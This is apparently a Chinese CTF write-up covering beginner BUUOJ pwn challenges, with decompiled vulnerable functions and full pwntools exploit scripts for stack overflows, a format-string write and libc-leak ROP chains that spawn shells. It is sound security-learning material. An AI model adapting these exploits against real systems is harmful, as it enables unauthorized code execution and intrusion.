rip

入门题,防护全关

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

exp

1
2
3
4
from pwn import*
p=remote() #不固定就不写了
p.send(b'a'*23+p64(0x40118a)) #其实都比较建议跳过开头的开辟栈帧操作,要不然总是遇到一些奇奇怪怪的问题①
p.interactive()

吃的大亏,现在才知道有些题目虽然有输出信息,但远程recv()是收不到东西会卡住的

在一些比较新的环境下,如果覆盖返回地址的开头的操作为

1
2
push rbp
mov rbp,rsp

程序就会崩溃

至于原因,就是调用system时,栈没有对齐,如果不push rbp则对齐,故选择跳过

因此视情况跳过这两句代码

warmup_csaw_2016

和上一题基本没有区别

只不过最后不是给shell权限而是直接cat flag罢了

1
2
3
4
from pwn import*
p=remote()
p.send(b'a'*72+p64(0x40060d))
p.interactive() #虽然不是拿到shell但回到shell模式也能直接获得输出

ciscn_2019_n_1

保护只开了nx

ida查看

1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

两个思路

  1. 直接溢出返回地址到cat /flag指令处
  2. 溢出修改v2,这个比较值是字面值可以在.rodata中找到

exp1

1
2
3
4
5
6
from pwn import*
context.log_level='debug'
p=remote('node4.buuoj.cn',28933)
p.send(b'a'*56+p64(0x4006BE)) #一开始好几次没成功,以为不行,结果是我打包成p32了
p.recv()
p.interactive()

exp2

1
2
3
4
from pwn import
p=remote()
p.send(b'a'*44+p32(0x41348000))#这里就要p32了float是四字节,其实p64也行只不过会覆盖到返回地址
p.interactive()

pwn1_sctf_2016

保护只开nx

ida查看

发现是c++代码,我这半桶水读起来有点吃力

直接运行看看,发现输入I会被替换为you,这样一个I能填充三个字节就可以做到溢出的效果了

exp

1
2
3
4
from pwn import*
p=remote()
p.send(b'I'*20+b'a'*4+p32(0x08048F10))
p.interactive()

读一读源码

  1. fgets(s, 32, edata) ,edata其实也就是stdin了

  2. 使用 std::string::operator=s 中的内容赋值给名为 inputstd::string 对象。

  3. 使用 std::allocator<char>::allocator 创建了一个 std::allocator<char> 对象,并将其地址传递给 v5 变量。
  4. 使用 std::string::string 构造了一个 std::string 对象 v4,其中包含字符串 “you”。
  5. 使用 std::allocator<char>::allocator 创建了另一个 std::allocator<char> 对象,并将其地址传递给 v7 变量。
  6. 使用 std::string::string 构造了另一个 std::string 对象 v6,其中包含字符串 “I”。
  7. 调用 replace() 函数,将 input 对象中的子字符串 “I” 替换为字符串 “you”.
  8. 使用 std::string::operator=v3 变量中的字符串内容赋值给 input 对象,并在 v6v4 的帮助下构造了一个新的字符串。
  9. 调用 std::stringstd::allocator 的析构函数来释放已分配的内存。
  10. input 中的字符串复制到 s 变量中。
  11. 使用 printf() 函数打印最终结果

jarvisoj_level0

没什么好说的

1
2
3
4
from pwn import*
p=remote()
p.send(b'a'*0x88+p64(0x40059A))
p.interactive()

[第五空间2019 决赛]PWN5

保护查一查,开启了nx与canary

ida看一看,确定为格式化字符串漏洞

第一想法是dword_804c044有出现在参数中,那么栈中能找到能找到它,可以泄露其中的数据,再输入以通过

不过gdb调试发现read后的栈中它的地址已经被覆盖了,

那就只能选择任意地址写了

格式化字符串是第一个参数,那么输入内容的相对偏移是10

exp

1
2
3
4
5
6
7
from pwn import*
p=remote()
p.recv()
p.send(b'%12$nxxx'+p32(0x804C044))
p.recv()
p.send(b'0')
p.interactive()

ciscn_2019_c_1

检查保护,只开了nx

ida反汇编,程序为一个菜单式程序

没有system函数和/bin/sh字符串

基本确定为libc泄露类题

危险函数如上

这个循环会修改我们的输入但是有可以跳过的办法,即v0一定是一个大于零的数,则只要payload开头为\x00就行了

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
p=remote()
e=ELF('./12')
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main_addr=e.symbols['main']
rdi_addr=0x0000000000400c83
ret=0x00000000004006b9
p.recv()
p.sendline(b'1')
p.recv()
padding=b'\x00'+b'a'*0x57 #这里脑抽,0x50换算成了十进制,填的时候又加了0x,被报错折磨了半个小时才发现,我好菜
p.sendline(padding+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr))
p.recvuntil(b'Ciphertext\n') #puts自带换行
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))#64位函数真实地址一般只占6个字节,且最高位为'\x7f'
print(hex(puts_addr)) #可以选择用Lincsearcher来直接pwntools中操作,但我还是选择用libcdatabase这个网站查询获得地址
libc_base=puts_addr-0x0809c0
system=libc_base+0x04f440
binsh=libc_base+0x1b3e9a
p.recv()
p.sendline(b'1')
p.recv()
p.sendline(padding+p64(rdi_addr)+p64(binsh)+p64(ret)+p64(system)) #这里有个栈对齐,下面说一说
p.interactive()
pwntools中ELF获取plt

即ELF.symbol,ELF.plt,ELF.got的使用区分

ELF.plt得到的是plt的地址,ELF.plt的内容首项是跳转到ELF.got中存储地址,ELF.got的内容是函数的真实加载地址

当需要访问函数的真实加载地址就需要访问ELF.got内容,但动态链接下,初始ELF.got项必然不是函数真实地址,且访问ELF.got又需要访问ELF.plt

另外ELF.plt一定能进入函数,ELF.got则不一定(未初始化)

使用哪个,则要看需要访问的内容,要实现什么目的

再来看symbols和plt的使用场合

这两个很多时候返回是相同的(差不多可以当作一个用了,像这题,puts_plt=e.symbols[‘puts’也是可以的])

1
2
3
4
5
6
ELF.symbols适用场景:
查找特定符号的地址,例如函数的入口地址、全局变量的地址等。
枚举可执行文件中的所有符号,例如枚举所有导出函数。优先考虑PLT条目,而不是GOT条目。
ELF.plt适用场景:
查找需要动态链接的函数的入口地址,例如为调用某个函数进行ROP攻击时。
枚举需要动态链接的函数,例如枚举可执行文件依赖的所有共享库中的导出函数。
因为不严谨导致问题的细节

其实就是一些小细节

  1. send和sendline的使用,大多数时候二者没有差别,但是诸如遇到了getchar(),gets()这些函数,就只能用sendline(或者send自己加\n)了,因为这两个函数不接收到\n就不会继续执行,导致程序的执行卡住,不能往下执行
  2. puts函数输出时会自带\n,接收时要注意
栈对齐

距离shell临门一脚的坑

ubuntu18(glibc2.27)后64位下

system函数执行过程中会有这么一条指令

movaps xmmword ptr [rsp + 0x??], xmm0

故而就要求在运行到该处时.rsp要是16的整数倍,

又由于程序指令的相对不变性,所以需要对system函数地址在栈中的存放地址有要求

一般来说都是要使得system函数地址在栈中的存放地址要是16的整数倍(不一定),即能达到上述目的

除system外,printf等函数也会有这种指令,也就是上面提到的跳过栈帧开辟

ciscn_2019_n_8

ida一看,就是对一个数组进行输入,第14个元素如果等于17则拿到shell

唯一值得注意的就是

if ( *(_QWORD *)&var[13] )将dword指针变为了qword指针,所以第15个元素得留空,不过以防之前栈中存留了一些数据,也可以用p64打包直接覆盖

exp

1
2
3
4
5
6
from pwn import*
context.log_level='debug'
p=remote('node4.buuoj.cn',26449)
p.recv()
p.send(p32(0x0)*13+p64(0x11))
p.interactive()

好几次遇到了同一个问题,进入shell模式后,第一条指令永远没有输出,虽然无伤大雅,且并不是每题都这样,但强迫症很难受啊

jarvisoj_level2

保护只开了nx

ida查看有system函数,而且能找到到binsh字符串

exp

1
2
3
4
5
6
7
from pwn import*
p=remote()
p.recv()
system=0x0804845C
binsh=0x0804A024
p.send(b'a'*140+p32(system)+p32(binsh))
p.interactive()

bjdctf_2020_babystack

常规入门题

只不过read字符数由自己输入

exp

1
2
3
4
5
6
7
from pwn import*
p=remote('node4.buuoj.cn',28836)
p.recv()
backdoor=0x4006EA
p.sendline(b'40')
p.send(b'a'*24+p64(backdoor))
p.interactive()

get_started_3dsctf_2016

标准流程就不重复了,这题单看题不难,但坑是一个接着一个

第一个坑,ida显示的v4距返回地址计算出来应该是60,但是实际去gdb调试会发现应该是56,之前做了那么多题都是直接用ida给的数据,这次突然跳出来一个不准的确实很搞人(主要这题栈帧不是常见的类型),也算得到了一个教训,最好还是gdb实操计算偏移,当然直接去读汇编代码也能得出正确结果

第二个大坑,就是这题没有设置setbuf(stdout,0),所以本题的输出是缓存在服务器本地的,换句话说:如果程序不正常退出,本地是不会有输出的,所以必须要正常退出,其实这也应该是第一题我没能接收信息卡住的原因

更多可见基础杂烩篇

exp

1
2
3
4
5
6
7
8
from pwn import*
p=remote('node4.buuoj.cn',27423)
backdoor=0x080489A0
exit= 0x0804E6A0 #很重要
a1=0x308CD64F
a2=0x195719D1
p.send(b'a'*56+p32(backdoor)+p32(exit)+p32(a1)+p32(a2))
p.interactive()

[OGeek2019]babyrop

保护开了got表不可写以及nx

ida查看

主体是

向buf中读入了一个随机数

下面两个函数依次是

这里有两个不大熟悉的函数,原型及功能分别是

1
2
3
4
strncmp(const char *str1,const cahr *str2,size_t n)
将str1与str2比较,最多比较前n个字节
sprintf(char *string,char *format,arg_list);
将格式化字符串format打印并送入string字符串,arg_list是参数列表

可以看到最后一个函数的读入字节数由第二个函数的返回值决定,

细看第二个函数,将s与buf比较,s中存的是随机数,肯定猜不到,这里也没有办法能够泄露或改写它,那么只能令v1等于0,即比较0个字节是否相同,那必然是相等的,要使v1等于0,只要buf开头是\0就行了,最后返回的是buf第8个字节

之后这题没有后门函数也没有binsh,那就是libc泄露类题目

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import*
e=ELF('./pwn')
libc=ELF('./libc-2.23.so')
puts_plt=e.plt['puts']
puts_got=e.got['puts']
main_addr=e.symbols['__libc_start_main']
p=remote()
p.sendline(b'\x00'*7+b'\xFF')
p.recv()
p.sendline(b'a'*235+p32(puts_plt)+p32(0x08048825)+p32(puts_got))
puts=u32(p.recv()[-5:-1]) #调用的是puts会自动在输出末尾加上换行注意过滤,这里其实直接p.recv(4)就行了
print(hex(puts))
libc_base=puts-libc.symbols["puts"]
system=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search(b'/bin/sh').__next__() #搜索已加载的C标准库中/bin/sh字符串的内存地址,并使用.__next__()方法来检索在库中找到的该字符串的第一个内存地址。
p.sendline(b'\x00'*7+b'\xFF')
p.recv()
p.sendline(b'a'*235+p32(system)+p32(0)+p32(binsh))
p.interactive()

离大谱,自己泄露出来的libc怎么也打不通,最后发现题目给了libc🤡

细心的可能发现了

main_addr=e.symbols[‘__libc_start_main’]

这一句根本没用上

因为找不到main的symbols

所以我本来是打算用__libc_start_main作第一次rop的返回地址,但可以发现后面并没有使用它,因为这么做是打不通的,至于为什么

__libc_start_main是需要参数的

脑子短路了

因为这个硬生生被卡住了半个小时

也算吃了个教训,以后返回地址不能用__libc_start_main

(之所以我会这么做,是因为我记岔了,__libc_start_main是可以用来做被泄露的函数,但我记成可以做返回地址了)

jarvisoj_level2_x64

与jarvisoj_level2一样只不过变成了64位,注意参数传递方式即可

exp

1
2
3
4
5
6
7
from pwn import*
p=remote('node4.buuoj.cn',28252)
pop_rdi_ret=0x00000000004006b3
binsh=0x600A90
system=0x400603
p.sendline(b'a'*136+p64(pop_rdi_ret)+p64(binsh)+p64(system))
p.interactive()

[HarekazeCTF2019]baby_rop

和上一题一模一样

exp

1
2
3
4
5
6
7
from pwn import*
p=remote('node4.buuoj.cn',26832)
pop_rdi_ret=0x0000000000400683
binsh=0x601048
system=0x4005E3
p.sendline(b'a'*24+p64(pop_rdi_ret)+p64(binsh)+p64(system))
p.interactive()